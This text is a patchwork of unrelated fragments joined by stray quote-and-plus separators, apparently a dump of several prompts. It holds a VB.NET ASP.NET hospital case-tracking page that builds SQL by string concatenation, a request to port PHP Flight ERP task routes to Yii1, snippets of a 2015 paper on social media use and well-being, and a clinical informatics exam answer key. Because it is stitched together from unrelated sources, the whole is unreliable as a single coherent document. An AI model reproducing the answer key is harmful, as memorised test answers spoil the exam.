C1.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' And C1.Chk\\_Date = (Select Max(Chk\\_Date) from Ini\\_Chk\\_History C2 Where C1.Hosp\\_ID = C2.Hosp\\_ID And C1.CID = C2.CID ) ) C On CC.Hosp\\_ID = C.Hosp\\_ID And CC.CID = C.CID " & \\_\n "left outer join Ini\\_Doctor i\\_doc on T.doctor = i\\_doc.ID and i\\_doc.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n "left outer join Ini\\_Nurse i\\_nrs on T.Nurse = i\\_nrs.ID and i\\_nrs.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n "left outer join CommCity\\_N city on city.CityID = CC.CityID " & \\_\n "left outer join CommCountry\\_N ctry on ctry.CityID = CC.CityID and ctry.CountryID = CC.CountryID " & \\_\n "left outer join CommVillage\\_N vill on vill.CityID = CC.CityID and vill.CountryID = CC.CountryID and vill.VillageID = CC.VillageID " & \\_\n "Where CC.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n "Order By T.Ret\\_Date "\n\n st = SingleTable.GetObject(Me, "mystTrack", "ConnStr", strSQL, "")\n If (Not IsPostBack) Then\n Me.SetControl()\n SingleTable.BindWebDDL(Me.sucHosp\\_ID.DDLValue, clsUser.GetUser(Me.Session).Hosp\\_ID)\n Me.sucHosp\\_ID.DDLReadonly = True\n \'Me.BindGrid(-1)\n Me.Search()\n Else\n If (Me.Request.Form("\\_\\_EVENTTARGET") = "GoTreat") Then\n Me.Session("CID") = Me.Request.Form("\\_\\_EVENTARGUMENT")\n Me.Response.Redirect("AdmIniTreat.aspx")\n End If\n End If\n End Sub\n\n \'設定控制項的預設值\n Private Sub SetControl()\n Me.st.SubSQL = "Select Hosp\\_ID,Hosp\\_Name from Hospital Where Hosp\\_ID <> \'0\' Order By Hosp\\_ID "\n Funcs.AddDDLSpace(Me.st.ds.Tables(0), "Hosp\\_ID", "Hosp\\_Name")\n Me.sucHosp\\_ID.DDLValue.DataSource = Me.st.ds.Tables(0).DefaultView\n Me.sucHosp\\_ID.DDLValue.DataTextField = "Hosp\\_Name"\n Me.sucHosp\\_ID.DDLValue.DataValueField = "Hosp\\_ID"\n Me.sucHosp\\_ID.DDLValue.DataBind()\n Me.sucHosp\\_ID.DDLValue.AutoPostBack = True\n\n \'護士下拉\n Dim usr As clsUser = clsUser.GetUser(Me.Session)\n Dim strSQL As String = "Select Cast(ID as nvarchar) ID,Name from Ini\\_Nurse Where enable=1 And Hosp\\_ID = \'" & usr.Hosp\\_ID & "\' "\n Dim ds As DataSet = FuncsDB.GetDS(strSQL)\n Funcs.AddNullRow(ds.Tables(0))\n Me.DDLNurse.DataSource = ds.Tables(0).DefaultView\n Me.DDLNurse.DataTextField = "Name"\n Me.DDLNurse.DataValueField = "ID"\n Me.DDLNurse.DataBind()\n Me.lbNurse.Visible = True\n Me.DDLNurse.Visible = True\n\n End Sub\n\n \'Bind DataGrid\n Private Sub BindGrid(ByVal PageIndex As Integer)\n SingleTable.BindWebGrid(PageIndex, Me.DataGrid1, st)\n Me.lbCaseCnt.Text = "個案數：" & Me.st.dt.Select(Me.st.Filter).Length\n End Sub\n\n Private Sub BindGrid2(ByVal PageIndex As Integer)\n SingleTable.BindWebGrid(PageIndex, Me.DataGrid2, st)\n End Sub\n\n \'排序\n Private Sub DataGrid1\\_SortCommand(ByVal source As Object, ByVal e As System.Web.UI.WebControls.DataGridSortCommandEventArgs) Handles DataGrid1.SortCommand\n Me.st.SortExp = e.SortExpression\n Me.BindGrid(-1)\n End Sub\n\n \'換頁\n Private Sub DataGrid1\\_PageIndexChanged(ByVal source As Object, ByVal e As System.Web.UI.WebControls.DataGridPageChangedEventArgs) Handles DataGrid1.PageIndexChanged\n Me.BindGrid(e.NewPageIndex)\n End Sub\n\n \'查詢\n Private Sub Search()\n Dim tmp As String = ""\n If (Me.RBLTerm.SelectedValue <> "") Then\n Select Case Me.RBLTerm.SelectedValue\n Case "M"\n Dim sdate, edate As String\n sdate = Now.Year & "/" & Now.Month & "/1"\n edate = DateValue(sdate).AddMonths(1)\n tmp = " Ret\\_Date >= \'" & sdate & "\' And Ret\\_Date < \'" & edate & "\' "\n Case Else\n Dim sdate As String\n If Me.RBLTerm.SelectedValue = 3 Then\n sdate = DateValue(Now).AddDays(77 \\* -1) \'77天\n ElseIf Me.RBLTerm.SelectedValue = 6 Then\n sdate = DateValue(Now).AddDays(161 \\* -1) \'161天\n Else\n sdate = DateValue(Now).AddMonths(Me.RBLTerm.SelectedValue \\* -1)\n End If\n\n If (tmp <> "") Then\n tmp &= " and "\n End If\n tmp &= " Ret\\_Date < \'" & DateValue(sdate) & "\' "\n End Select\n End If\n\n \'一開始的查詢就需要過濾stage了\n If (tmp <> "") Then\n tmp &= " and "\n End If\n\n tmp &= "1=1 And (1=0 "\n For Each item As ListItem In Me.CBLStage.Items\n If (item.Selected) Then\n tmp += " or " & item.Value\n End If\n Next\n tmp &= " or Stage is null) "\n\n Funcs.AddSQL(tmp, "Finished", Me.RBLFinish.SelectedValue, 1)\n Me.st.Filter = tmp\n Me.BindGrid(-1)\n End Sub\n\n Private Sub RBLTerm\\_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RBLTerm.SelectedIndexChanged\n Me.Search()\n End Sub\n\n Private Sub DataGrid1\\_ItemDataBound(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.DataGridItemEventArgs) Handles DataGrid1.ItemDataBound\n If (e.Item.ItemIndex > -1) Then\n e.Item.Attributes.Add("onmouseover", "this.style.color=\'red\'")\n e.Item.Attributes.Add("onmouseout", "this.style.color=\'black\'")\n e.Item.Attributes.Add("ondblclick", "\\_\\_doPostBack(\'GoTreat\',\'" & e.Item.Cells(1).Text & "\')")\n e.Item.Cells(4).Text = Funcs.CellDate(e.Item.Cells(4).Text)\n e.Item.Cells(5).Text = Funcs.CellDate(e.Item.Cells(5).Text)\n e.Item.Cells(9).Text = Funcs.CellDate(e.Item.Cells(9).Text)\n e.Item.Cells(19).Text = Funcs.GetCodeTxt(Me.Application, "CMemo", e.Item.Cells(17).Text) & " " & e.Item.Cells(18).Text\n If (Funcs.CellDate(e.Item.Cells(9).Text) = Funcs.CellDate(Now)) Then\n e.Item.ForeColor = System.Drawing.Color.Red\n e.Item.Font.Bold = True\n End If\n End If\n Funcs.AddSortDir(sender, e, Me)\n End Sub\n\n \'追蹤時間查詢\n Private Sub btnSearch\\_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSearch.Click\n Me.RBLTerm.SelectedIndex = 0\n Dim SQL As String = " 1=1 "\n Funcs.AddSQL(SQL, "Ret\\_Date", Me.suc\\_Date1.Text, 2)\n Funcs.AddSQL(SQL, "Ret\\_Date", Me.suc\\_Date2.Text, 3)\n If (Me.sucCMemo.DValue <> "010") Then\n Funcs.AddSQL(SQL, "CMemo", Me.sucCMemo.DValue, 1)\n End If\n SQL &= " And (1=0 "\n For Each item As ListItem In Me.CBLStage.Items\n If (item.Selected) Then\n SQL += " or " & item.Value\n End If\n Next\n SQL &= " or Stage is null) "\n Funcs.AddSQL(SQL, "Finished", Me.RBLFinish.SelectedValue, 1)\n Funcs.AddSQL(SQL, "Nurse", Me.DDLNurse.SelectedValue, 1)\n Me.st.Filter = SQL\n Me.BindGrid(-1)\n End Sub\n\n Private Sub btnCancel\\_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnCancel.Click\n Me.Panel1.Visible = False\n End Sub\n\n Private Sub DataGrid1\\_ItemCommand(ByVal source As Object, ByVal e As System.Web.UI.WebControls.DataGridCommandEventArgs) Handles DataGrid1.ItemCommand\n If (e.CommandName = "SetMemo") Then\n Me.ViewState("EditRowID") = e.CommandArgument\n Me.ucCMemo.DValue = e.Item.Cells(17).Text\n Me.ucCMemo\\_Name.Text = e.Item.Cells(18).Text.Replace("\xa0", "")\n Me.Panel1.Visible = True\n End If\n End Sub' +'check the below code and to get sql and remap functions\nthen apply these functions to \nactionAssignedByMe\nactionAssignedToMe \nthen provide the update code in yii1\nFlight::route(\'GET /erp/all-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n $where = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "completed",\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "in\\_progress",\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "deferred",\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "not\\_started",\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "waiting\\_for\\_someone",\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n $elem[\'invoice\'] = false; \n if($elem[\'invoice\\_id\'] > 0) {\n // innerjoin with tbl\\_client\n $invoices = $rm->select(\'tbl\\_invoices\', array(\n \'[><]tbl\\_client\' => [\'client\\_id\' => \'client\\_id\']\n ) , array(\n \'tbl\\_invoices.invoices\\_id\',\n \'tbl\\_invoices.due\\_date\',\n \'tbl\\_invoices.reference\\_no\',\n \'tbl\\_invoices.status\',\n \'tbl\\_invoices.invoice\\_date\',\n \'tbl\\_client.sync\\_id\',\n \'tbl\\_client.merchant\\_name\',\n \'tbl\\_client.merchant\\_phone\',\n \'tbl\\_client.expires\\_date\',\n \'tbl\\_client.last\\_login\',\n \'tbl\\_client.client\\_id\',\n \'tbl\\_client.name\',\n ), array(\n \'tbl\\_invoices.invoices\\_id\' => $elem[\'invoice\\_id\']\n ));\n\n $invoices = array\\_map(function ($invoice) use ($rm) {\n $due\\_amount = $rm->sum(\'tbl\\_items\', \'total\\_cost\', array(\n \'invoices\\_id\' => $invoice[\'invoices\\_id\']\n ));\n $invoice[\'due\\_amount\'] = $due\\_amount;\n switch ($invoice[\'status\']) {\n case \'paid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'rejected\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'unpaid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'overdue\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'draft\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n case \'partially\\_paid\':\n $invoice[\'status\'] = \'\' . t($invoice[\'status\']) . \'\';\n break;\n }\n /\\*$invoice[\'published\'] = $invoice[\'status\'];\n if ($invoice[\'published\'] == 2) {\n $invoice[\'rejected\'] = true;\n }\\*/\n /\\*$invoice[\'items\'] = $rm->select(\'ready\\_invoice\\_items\', \'\\*\', array(\n \'ri\\_invoice\\_id\' => $invoice[\'id\']\n ));\\*/\n return $invoice;\n }, $invoices);\n\n $elem[\'invoice\'] = $invoices[0]; \n } \n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n $elem[\'store\'][\'published\'] = $elem[\'store\'][\'is\\_ready\'] == 2 ? true : false;\n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'All Tasks\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'all-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});\n\nFlight::route(\'GET /erp/assigned-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n\n $where = array(\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n /\\*\'leads\\_id\' => $user\\_id,\n \'created\\_by\' => $user\\_id\\*/\n ]\n );\n $where\\_two = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n $where\\_two[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "completed",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "in\\_progress",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "deferred",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "not\\_started",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "waiting\\_for\\_someone",\n \'OR\' => [\n \'permission[REGEXP]\' => \'"[^"]\\*[[:<:]]\' . $user\\_id . \'[[:>:]]\',\n \n ]\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n case \'waiting\\_for\\_someone\':\n $elem[\'task\\_status\'] = t(\'Waiting for Someone\');\n break;\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n $elem[\'store\'][\'published\'] = $elem[\'store\'][\'is\\_ready\'] == 2 ? true : false; \n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'Asigned to Me\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'assigned-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});\n\nFlight::route(\'GET /erp/report-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n $where = array(\n \'created\\_by\' => $user\\_id\n );\n $where\\_two = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n $where\\_two[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "completed",\n \'created\\_by\' => $user\\_id\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "in\\_progress",\n \'created\\_by\' => $user\\_id\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "deferred",\n \'created\\_by\' => $user\\_id\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "not\\_started",\n \'created\\_by\' => $user\\_id\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where\\_two, [\n "task\\_status" => "waiting\\_for\\_someone",\n \'created\\_by\' => $user\\_id\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n switch($elem[\'task\\_status\']) {\n case \'completed\':\n $elem[\'completed\'] = true;\n break;\n case \'not\\_started\':\n $elem[\'task\\_status\'] = t(\'Not Started\');\n break;\n case \'in\\_progress\':\n $elem[\'task\\_status\'] = t(\'In progress\');\n break;\n case \'waiting\\_for\\_someone\':\n $elem[\'task\\_status\'] = t(\'Waiting for Someone\');\n break;\n }\n if($elem[\'merchant\\_id\'] > 0) {\n $elem[\'store\'] = $db->get(\'mt\\_merchant\', \'\\*\', array(\n \'merchant\\_id\' => $elem[\'merchant\\_id\']\n ));\n }\n $elem[\'assigned\'] = array();\n $elem[\'assigned\\_to\\_me\'] = false;\n $assigneds = (array)json\\_decode($elem[\'permission\'], true);\n foreach($assigneds as $key=>$val) {\n if($key == $user\\_id) {\n $elem[\'assigned\\_to\\_me\'] = true;\n }\n $as\\_find = $rm->get(\'tbl\\_users\', \'username\', array(\n \'user\\_id\' => $key\n ));\n if($as\\_find) {\n $elem[\'assigned\'][] = $as\\_find;\n }\n }\n return $elem;\n }, $tasks);\n\n echo $m->render(\'erp/task/task\\_all\', array(\n \'completed\\_count\' => $completed\\_count,\n \'in\\_progress\\_count\' => $in\\_progress\\_count,\n \'deferred\\_count\' => $deferred\\_count,\n \'not\\_started\\_count\' => $not\\_started\\_count,\n \'waiting\\_for\\_someone\\_count\' => $waiting\\_for\\_someone\\_count,\n \'title\' => t(\'Reported by Me\'),\n \'tasks\' => $tasks,\n \'tasks\\_count\' => count($tasks),\n \'task\\_type\' => \'report-tasks\',\n \'filter\\_status\' => $filter\\_status\n ));\n});' +'Brooks, S. (2015). Does personal social media usage affect efficiency and well-being? Computers in Human Behavior, 46, 26-37. https://doi.org/10.1016/j.chb.2014.12.053\n\nArticle:\nAbstract\nPersonal social media usage is pervasive in both personal and professional lives. Practitioner articles and news stories have commented on the addicting and distracting nature of social media. Previous empirical research has established the negative effects of distractions on primary tasks. To date, little research has looked at the potentially distracting nature of social media and the negative effects that can arise from usage. This research addresses this gap by investigating the effects of personal social media usage on task performance. To extend this research, I also examined the effects that the personal social media usage has on individuals’ technostress and happiness levels. I tested these effects by creating a classroom task environment and measuring subjects’ usage of social media and their task performance. From this, it was found that higher amounts of personal social media usage led to lower performance on the task, as well as higher levels of technostress and lower happiness. These results are consistent across different levels of attentional control and multitasking computer self-efficacy. These results suggest that the personal usage of social media during professional (vs. personal or play) times can lead to negative consequences and is worthy of further study.\n\nIntroduction\nA recent survey found that 86% of online adults in the US and 79% of online adults in Europe use social media (Sverdlov, 2012). It would be hard to argue with the ubiquity of social media, and thus researchers have also paid attention to this growingly popular topic. Within the business disciplines, much research has been conducted on how businesses can leverage social media to increase exposure, profits, and other business goals. These studies have been very useful in examining social media; however, little work has been done on the effects of individual’s personal social media usage and negative effects of such usage. There are at least 2.3 billion registered users for the ten most popular social networking websites worldwide combined (Socialnomics.net., 2011). Given this enormous population of users, it comes as no surprise that Facebook.com and YouTube.com are the two most-visited sites on the web, as of August 2014, and that social media usage has become the most common activity on the web (Socialnomics.net., 2012). Due to its ease of use, speed, and reach, social media is fast changing the public discourse in society and setting trends and agendas in topics that range from the environment and politics, to technology and the entertainment industry (Asur & Huberman, 2010).\n\nSocial media sites are frequently accessed both at home and at work. Though individuals can maintain a cognitive difference between personal life and professional life, these two aspects are both a part of the whole that is the individual. Understanding effects to both sides of a person’s life is important for gaining a holistic picture of the individual. An argument can be made that the time spent using social media is not beneficial to the users, especially in the long term. Popular news outlets frequently report on stories involving negative outcomes of social media usage. For example, though people with low self-esteem consider Facebook an appealing venue for self-disclosure, the low positivity/high negativity of their disclosures elicited generally negative feedback from others (Forest & Wood, 2012). This cycle can lower users’ happiness from not receiving the encouragement and positive feedback that they were hoping for. Also, extended use of a technology can lead to greater stresses. These technostresses can lower an individual’s well-being.\n\nSocial media can also be distracting to users. The hedonic appeal of the technologies along with the ability to be connected to friends and family provides a strong pull to use the systems, both during professional and personal time. A typical worker gets interrupted at least six to eight times a day, which consumes about 28% of a knowledge worker’s day (Spira & Feintuch, 2006). Research has shown that workers jump to an interruption about 40% of the time instead of focusing on the original task. When they come back to the primary task from the interruption, it can take up to 25 min to return to the original cognitive state (Czerwinski, Cutrell, & Horvitz, 2000). Inefficiencies in task performance can result from the time spent on the interruption and the challenge in mentally returning to the primary task.\n\nFor many students, being in the classroom can be analogous to being in a work environment. Students have work tasks to perform while in the classroom and a duty to perform these tasks efficiently, whether listening to a lecture, participating in discussion, working on a task, etc. Students accessing social media sites while in the classroom have the potential to experience many of the same drawbacks as do professionals in the workplace. A survey from Cengage Learning (2014) found that 59% of students are accessing social media in class. Given the potential for individuals to be affected when giving into these distractions/interruptions, this paper investigates this gap by exploring the effect of social media usage on students in a classroom environment. The results from this study will extend the literature concerned with technological distractors, provide preliminary empirical support for or against imposing personal social media usage limits in a classroom, and give justification for further study in more generalizable environments.\n\nThe results of this exploratory study will contribute to the literature on social media and distractions by showing what effects social media usage can have on both external efficiency (performance) and internal states (well-being). As most research investigates only one of these two foci, combining both sides provides value to the literature.\n\nThe organization of the paper is as follows. The next section provides background on prior work on social media and the theoretical lens of Distraction–Conflict Theory. The research models, both the efficiency model and the well-being model, are presented along with their hypotheses. Next, the methodology is described and the analysis is performed. Finally, the discussion of the results is presented along with the conclusions.\n\nSection snippets\nSocial media\nSocial media are a group of Internet-based applications that allow the creation and exchange of user generated content (UGC) (Kaplan and Haenlein (2010). UGC, which describes the various forms of media content created by end-users outside of a professional context and is publically available (Kaplan and Haenlein (2010), is what differentiates social media from other more traditional forms of media. As an example, online newspapers, such as the New York Times, are not considered UGC due to the\n\nDistraction–Conflict Theory\nDistraction–Conflict Theory (DCT) (Baron, 1986, Groff et al., 1983, Sanders and Baron, 1975) provides a theoretical lens for understanding the effect that distractions and interruptions have on performance. The distraction–conflict model can be broken down into three causal steps (Baron, 1986): (1) others are distracting, (2) distraction can lead to attentional conflict, and (3) attentional conflict elevates drive. This elevated drive leads to impaired performance and motor behavior on complex\n\nTask performance (PERF)\nRegarding DCT, interruptions have been found to lower performance on complex tasks (Speier, Vessey, & Valacich, 2003). With complex tasks, how often an interruption occurs, and how different the content of the material in the interruption is from the content of the task affect performance. In a mobile computing environment, widely recognized as being susceptible to multiple disturbances, even low-level distractions have been indicated to lead to a performance reduction (Nicholson, Parboteeah,\n\nStudy\nThe hypotheses are examined using surveys before and after a specific task was provided. Two surveys were created to measure self-reported information on the constructs of interest.\n\nSubjects\nThe sample consists of undergraduate students enrolled in an information systems course in a large Western US university. Subjects were given course credit for participating. College students were selected for the sample because social media usage is prevalent among this demographic. Social media sites, especially\n\nAnalysis and results\nThe data was analyzed using SmartPLS 2.0 (Ringle, Wende, & Will, 2005). PLS was chosen for analysis due to the exploratory nature of this model and the desire to identify key constructs (Hair, Hult, Ringle, & Sarstedt, 2013, p. 19). The sample size (N = 209) is of sufficient size for this analysis (Chin & Newsted, 1999). Both the bootstrapping procedure (cases = 209, samples = 5000) and the PLS algorithm were used for analysis.\n\nDiscussion\nFrom this exploratory investigation, support was found that social media usage can be detrimental to both halves of an individual’s life: the professional and the personal. Table 5 provides a summation of the hypotheses.\n\nFor the efficiency model, in line with Distraction–Conflict Theory, social media usage was found to negatively affect performance. Neither attentional control nor multitasking computer self-efficacy has a significant effect on this relationship. As often as students and\n\nLimitations and future directions\nLike all research, this study is not without limitations that need to be identified and addressed in future studies. First, the usage of college students for the sample is not generalizable to the workplace. After all, the pressure that a student faces while sitting in the classroom vary greatly from the professional, economic, and possible familial pressure felt by employees in the workforce. The choice of sample is relevant for this study due to the familiarity and usage of the social media\n\nConclusions\nThis study investigated the effects of personal social media usage on efficiency and well-being. As mentioned earlier, the popular press is rife with stories of people feeling negative consequences of social media usage. Given that social media usage is the most popular activity on the Internet, it is important to investigate what effects this usage is actually having so that future research may uncover effective ways to handle these issues.\n\nEnd of journal.' +'1\nTHE ANSWER IS B. User testing is important to the development process, however there are surrogates to having actual users, such as role-playing. Delaying or discarding the system are inferior choices, as is implementing the system with no testing at all. (REF: Section 3.2.2 - HCI Evaluation)\n\xa0\n2\nTHE ANSWER IS C. Of all the determinants of individual and population health, the most significant contributors to morbidity and early mortality are behavioral, such as smoking, sedentary lifestyle, etc. The next most significant is biology, followed by social, medical and environment. (REF: 1.2.1 - Determinants of health)\n3\nTHE ANSWER IS C.\xa0 The probability of B can be expressed as the probability of A and B\xa0 occurring together plus the probability of (not A)\xa0 and B occurring together.The probability of A and B occurring is equal to the probability of A times the probability of B, given A. (REF: Section 2.1.2 - Decision Science)\nP(A and B) = p(A) \\* p(B|A)\nP(A) + P(not A) = 1\nP (A and B and C) =\xa0 P(A+B+C)\n4\nTHE ANSWER IS D. Process mining is a method of workflow analysis which involves researching the event log of an information system to find out how effective various processes are. Merging database tables using a common key is usually called a join. (REF 2.3.1. Methods of workflow analysis)\n5\nTHE ANSWER IS C. This question tests a simple definition, but even if you did not know the answer, you could probably eliminate some choices. We are looking for terms that convey communications as well as transition. A and D are quite unlikely. Choice C seems to express both those concepts well. (REF: Section 4.6.2 - Change Theories)\n6\nTHE ANSWER IS B. You should know a little about CAS, but even if you didn’t, you should be able to eliminate choices A and D. A system which is adaptive should evolve and it should tend towards order. A system which is complex is more likely to be nonlinear than have central discipline. 